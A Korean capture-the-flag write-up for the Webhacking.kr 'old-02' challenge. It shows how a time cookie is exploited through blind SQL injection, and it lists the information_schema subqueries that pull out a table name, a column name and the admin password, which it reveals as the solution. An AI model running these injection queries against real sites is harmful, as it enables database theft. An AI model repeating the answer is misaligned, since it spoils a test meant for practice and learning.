본문 바로가기
웹 해킹/Webhacking.kr

[Webhacking.kr] old-02

by L3m0n S0ju 2021. 8. 25.

 

 

문제 서버에 접속하면 위와 문구가 출력된다.

 

 

 

 

 

 


F12를 눌러 소스코드를 확인하면 주석이 두가지있는데 첫번째는 시간을 출력하고 두번째는 admin.php에 접속하라는 힌트가 기록되어있습니다.


admin.php에 접속하면 위와 같이 패스워드를 입력하는 창이 나오지만 패스워드는 알 수 없습니다.

 

 

 

 

 


다시 이전 페이지로 돌아가서 F12를 눌러서 Application의 쿠키값을 확인하면 time이라는 변수가 있습니다. 첫번째 주석에 시간이 적혀있었는데 관련이 있어보입니다.

 

 

 

 

 


time 값에 false를 입력하고 새로고침하면 주석에 기록된 시간이 위와 같이 09:00:00로 변경됩니다.

 

 

 

time 값에 true를 입력하면 09:00:01으로 변경됩니다. 이를 통해 우리가 입력한 데이터베이스 언어에 따른 결과값이 출력됨을 추측할 수 있습니다.

 

 

 

 

 


다음으로 현재 데이터베이스의 테이블 개수를 알아보기 위해서 아래와 같은 sql문을 입력하면 결과가 09:00:02가 출력되므로 테이블 개수가 2개임을 알 수 있습니다.

 

(select count(table_name) from information_schema.tables where table_schema=database())

 

 

 

 

 

 

 

 

 

 


현재 데이터베이스의 테이블 개수는 2개이므로 테이블 중 첫번째 테이블의 길이를 출력하는 sql문을 입력하면 13크기의 길이를 가집니다.

 

(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

 

 

 

 

 

 


테이블 길이를 알았으니 테이블 이름을 찾아보겠습니다. 앞에서부터 한 글자씩 찾는다면 첫번째 문자는 아래의 sql 문을 입력하면 됩니다. 결과는 09:01:37로 01:37은 60+37=97을 의미한다고 볼 수 있겠습니다. 아스키코드 값을 참조하면 'a'임을 알 수 있습니다.

 

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

두 번째 문자는 아래 sql문으로 d 임을 알 수 있습니다.

 

(select ascii(substring(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0, 1)

 

 

 

 

97, 100, 109, 105, 110, 95

a     d    m     i     n    _   area_pw

 

 

 

 


테이블 이름은 admin_area_pw로 컬럼의 개수를 찾으려면 아래 sql문을 입력합니다. 컬럼은 한개밖에 없습니다.

 

(select count(column_name) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 


컬럼의 길이는 2입니다.

 

(select length(column_name) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 

 


컬럼 이름 역시 하나씩 찾습니다. 칼럼의 이름은 pw입니다.

(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")

 

 

 

 

 


칼럼 값(패스워드)의 길이는 17입니다.

 

(select length(pw) from admin_area_pw)

 

 

 

 


(pw, 1, 1)부터 (pw, 17, 1)까지 sql 문을 하나씩 입력하면 패스워드를 찾을 수 있습니다.

 

(select ascii(substr(pw, 1, 1)) from admin_area_pw)

 

107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98 

  k    u    d    o    s    _   t    o    _   b   e     i     s    t     l   a   b

 

kudos_to_beistlab

 

 

 

 

 


 

 

 

 


'웹 해킹 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06  (0) 2021.08.27
[Webhacking.kr] old-05  (0) 2021.08.26
[Webhacking.kr] old-04  (0) 2021.08.26
[Webhacking.kr] old-03  (0) 2021.08.26
[Webhacking.kr] old-01  (0) 2021.08.25

댓글